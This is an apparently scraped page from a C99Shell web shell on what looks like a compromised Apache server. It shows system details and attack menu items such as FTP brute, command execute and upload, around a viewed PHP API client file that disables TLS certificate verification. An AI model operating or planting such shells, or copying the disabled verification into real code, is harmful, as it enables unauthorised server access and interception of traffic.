!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/OTapi/otapiphpclient-master/src/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OtApi.php (4.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace OtApiClient;

use 
Carbon\Carbon;
use 
GuzzleHttp\Client;
use 
GuzzleHttp\Exception\GuzzleException;
use 
GuzzleHttp\Psr7\StreamWrapper;
use 
JsonException;
use 
OtApiClient\ValuesObject\OtParameters;
use 
OtApiClient\ValuesObject\OtXmlItemParameters;
use 
OtApiClient\ValuesObject\OtXmlParameters;

/**
 * Class OtApi
 * @package OtApiClient
 */
class OtApi
{
    
/*** */
    
private const OTAPI_URL 'https://otapi.net/service-json/';
    
/*** @var string */
    
private static string $key;
    
/*** @var string|null */
    
private static ?string $secret NULL;
    
/*** @var string */
    
private static string $lang;
    
/*** @var Client|null */
    
private static ?Client $client NULL;

    
/**
     * @param string               $method
     * @param OtParameters|NULL    $params
     * @param OtXmlParameters|NULL $xmlParams
     * @param bool                 $returnAsStream
     * @return string
     * @throws OtException
     */
    
public static function request(string $methodOtParameters $params NULL, ?OtXmlParameters $xmlParams NULLbool $returnAsStream FALSE): string
    
{
        
$requestUrl self::prepareRequest($method$params$xmlParams);
        try {
            
$response self::$client->get($requestUrl);
        } catch (
GuzzleException $e) {
            throw new 
OtException($e->getMessage());
        }
        if (
$returnAsStream) {
            return 
StreamWrapper::getResource($response->getBody());
        }
        
$answer = (string) $response->getBody();
        
// to not decode to prevent memory overuse
        
if ( ! str_starts_with($answer'{"ErrorCode":"Ok"') && str_starts_with($answer'{"ErrorCode":')) {
            try {
                
$decoded json_decode($answerTRUE512JSON_THROW_ON_ERROR);
            } catch (
JsonException $e) {
                throw new 
OtException('request decode error');
            }
            throw new 
OtException($decoded['ErrorCode'] . ': ' $decoded['ErrorDescription']);
        }
        return 
$answer;
    }

    
/**
     * @param string               $method
     * @param OtParameters|NULL    $parameters
     * @param OtXmlParameters|NULL $xmlParams
     * @return array|NULL
     */
    
private static function prepareRequest(string $method, ?OtParameters $parameters NULL, ?OtXmlParameters $xmlParams NULL): string
    
{
        
$params $parameters $parameters->getData() : [];
        
self::createClient();
        if (
$xmlParams !== NULL) {
            
$params[$xmlParams->getParamName()] = $xmlParams->createXmlParameters();
        }
        
$params['instanceKey'] = self::getKey();
        
$params['language']    = self::getLang();
        foreach (
$params as $k => $v) {
            if (
is_bool($v)) {
                
$params[$k] = $v 'true' 'false';
            }
        }
        
$time                Carbon::now('UTC');
        
$params['timestamp'] = $time->format('YmdHis');
        
$params['signature'] = self::sign($method$params);
        return 
self::OTAPI_URL $method '?' http_build_query($params);
    }

    
/**
     * @param string $method
     * @param array  $params
     * @return string
     */
    
private static function sign(string $method, array $params): string
    
{
        
ksort($params);
        
$paramString $method implode(''$params) . self::getSecret();
        return 
hash('sha256'$paramString);
    }

    
/*** */
    
private static function createClient(): void
    
{
        if (
self::$client === NULL) {
            
self::$client = new Client([
                
'headers' => ['Accept' => 'application/json'],
                
'verify'  => FALSE,
            ]);
        }
    }

    
/*** @return string */
    
private static function getKey(): string
    
{
        return 
self::$key;
    }

    
/**
     * @param string $key
     * @throws OtException
     */
    
public static function setKey(string $key): void
    
{
        if (
$key === '') {
            throw new 
OtException('Wrong OTAPI key');
        }
        
self::$key $key;
    }

    
/*** @return string */
    
private static function getSecret(): string
    
{
        return 
self::$secret;
    }

    
/**
     * @param string $secret
     * @throws OtException
     */
    
public static function setSecret(string $secret): void
    
{
        if (
$secret === '') {
            throw new 
OtException('Wrong OTAPI secret');
        }
        
self::$secret $secret;
    }

    
/*** @return string */
    
private static function getLang(): string
    
{
        return 
self::$lang;
    }

    
/**
     * @param string $lang
     * @throws OtException
     */
    
public static function setLang(string $lang): void
    
{
        if (
strlen($lang) !== 2) {
            throw new 
OtException('Wrong OTAPI language');
        }
        
self::$lang $lang;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--